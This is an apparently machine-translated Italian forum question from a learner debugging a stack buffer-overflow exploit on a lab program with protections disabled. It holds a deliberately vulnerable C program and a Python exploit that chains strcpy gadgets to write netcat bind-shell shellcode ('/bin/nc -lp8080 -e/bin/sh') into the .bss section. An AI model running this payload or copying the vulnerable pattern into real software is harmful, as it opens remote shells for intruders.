Metti lo shellcode in sezioni scrivibili - .bss e .data

0

quindi, ho il seguente problema. Diciamo, ho un semplice programma vulnerabile, come questo:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln_function(char *);

int main(int argc, char *argv[])
{
    if(argc != 2)
    {
        printf("Arg needed...\n");
        exit(1);
    }

    vuln_function(argv[1]);
    return 0;
}

void vuln_function(char *buff)    
{
    char buffer[64];
    strcpy(buffer, buff);
    printf("Out: %s\n", buffer);
}

Passaggio vulnerabile - strcpy (buffer, buff); , sfruttando tramite argv [1], niente di nuovo.

Ma diciamo, non posso esportare shellcode in ambiente @ perché mi piacerebbe conoscere altri posti, dove posso inserire shellcode. Una delle possibili opzioni in cui nascondere lo shellcode è .bss o .data, l'ho verificata di persona.

[25] .data             PROGBITS        08049928 000928 000008 00  WA  0   0  4

[26] .bss              NOBITS          080497a4 000930 000004 00  WA  0   0  1

Con questo fatto, ho deciso di usare la sezione .bss, dove vorrei inserire il mio shellcode. Sto usando netcat shellcode - 75 byte, puoi trovarlo qui:

link

Successivamente alcune funzioni e i relativi indirizzi di cui avevo bisogno erano strcpy () e pop-pop-ret

strcpy = 0x08048370
ppr = 0x08048587

Ora, quando ho tutto ciò che è importante, ho scritto exploit ..

#!/usr/bin/env python
#
# 0x080497a4 - bss
# 0x08048370 - strcpy 
# 0x08048587 - pop/pop/ret
#

from struct import pack
import subprocess, sys

junk = "A" * 76
strcpy = 0x08048370
ppr = 0x08048587

payload = junk

payload += strcpy
payload += ppr
payload += pack("<L", 0x080497a4) # bss
payload += "\xeb\x2a\x5e\x31"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497a8) # + 4
payload += "\xc0\x88\x46\x07"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ac) # + 8
payload += "\x88\x46\x0f\x88"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b0) # + 12
payload += "\x46\x19\x89\x76"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b4) # + 16
payload += "\x1a\x8d\x5e\x08"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b8)
payload += "\x89\x5e\x1e\x8d"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497bc)
payload += "\x5e\x10\x89\x5e"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c0)
payload += "\x22\x89\x46\x26"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c4)
payload += "\xb0\x0b\x89\xf3"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c8)
payload += "\x8d\x4e\x1a\x8d"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497cc)
payload += "\x56\x26\xcd\x80"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d0)
payload += "\xe8\xd1\xff\xff"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d4)
payload += "\xff\x2f\x62\x69"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d8)
payload += "\x6e\x2f\x6e\x63"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497dc)
payload += "\x23\x2d\x6c\x70"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e0)
payload += "\x38\x30\x38\x30"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e4)
payload += "\x23\x2d\x65\x2f"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e8)
payload += "\x62\x69\x6e\x2f"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ec)
payload += "\x73\x68\x23\x90"

payload += pack("<L", 0x080497a4)

print("[+] Running exploit...")
subprocess.call(["./a.out", payload])

Ho aggiunto il byte "\ x90" alla fine dello shellcode, per essere 76 byte e anche metterlo 4 byte per 4 byte in .bss e dopo ogni 4 byte di sc, ho aggiunto + 4 byte per indirizzo di .bss

Pensando, l'indirizzo finale di .bss dovrebbe contenere netcat shellcode, l'ho eseguito, ma tutto ciò che ho ottenuto è stato questo -

[+] Running exploit...
Out: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp������*^1p�������Fp������F�p�����F�vp������p������^�p�����^�^p�����"�F&p������
                                                            ��p������N�p�����V&��p���������p������/bip�����n/ncp�����#-lpp�����8080p�����#-e/p�����bin/p�����sh#���

Tutte le protezioni sono disabilitate. Ho passato un po 'di tempo sopra, ma non riesco a trovare, cosa c'è che non va.

Se qualcuno di voi, può darmi un suggerimento o mostrarmi dove ho fallito, fammi sapere per favore, sono contento di imparare qualcosa di nuovo ed evitare inutili errori. Grazie in anticipo!

    
posta core2dump 27.01.2016 - 01:30
fonte

0 risposte

Leggi altre domande sui tag